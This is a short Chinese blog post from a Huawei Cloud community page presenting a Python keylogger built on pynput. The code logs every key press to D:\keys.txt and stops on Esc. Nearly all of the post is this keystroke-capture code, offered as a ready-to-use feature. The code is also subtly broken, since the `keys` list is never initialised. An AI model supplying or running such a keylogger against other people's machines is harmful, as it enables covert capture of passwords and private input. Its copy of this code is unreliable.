python 实现的键盘记录器 小功能

举报
LexSaints 发表于 2021/06/15 09:29:55 2021/06/15
【摘要】 一、安装pynput模块PS C:\WINDOWS\system32> pip install pynputLooking in indexes: http://mirrors.aliyun.com/pypi/simpleRequirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2)...

一、安装pynput模块

PS C:\WINDOWS\system32> pip install pynput
Looking in indexes: http://mirrors.aliyun.com/pypi/simple
Requirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2)
Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)

二、编写代码

1、引入键盘模块

from pynput.keyboard import Key, Controller,Listener
import time

2、读取键盘操作

记录键盘操作,并将记录写入D:\keys.txt路径下

def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    key_rcord= "".join(keys)
    if len(key_rcord)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(key_rcord)   
          keys= []  

3、设置停止记录触发事件

当按到键盘esc时,停止运行记录程序

def on_release(key):
    if key == Key.esc:
        return False

4、启动监听

with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()
【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。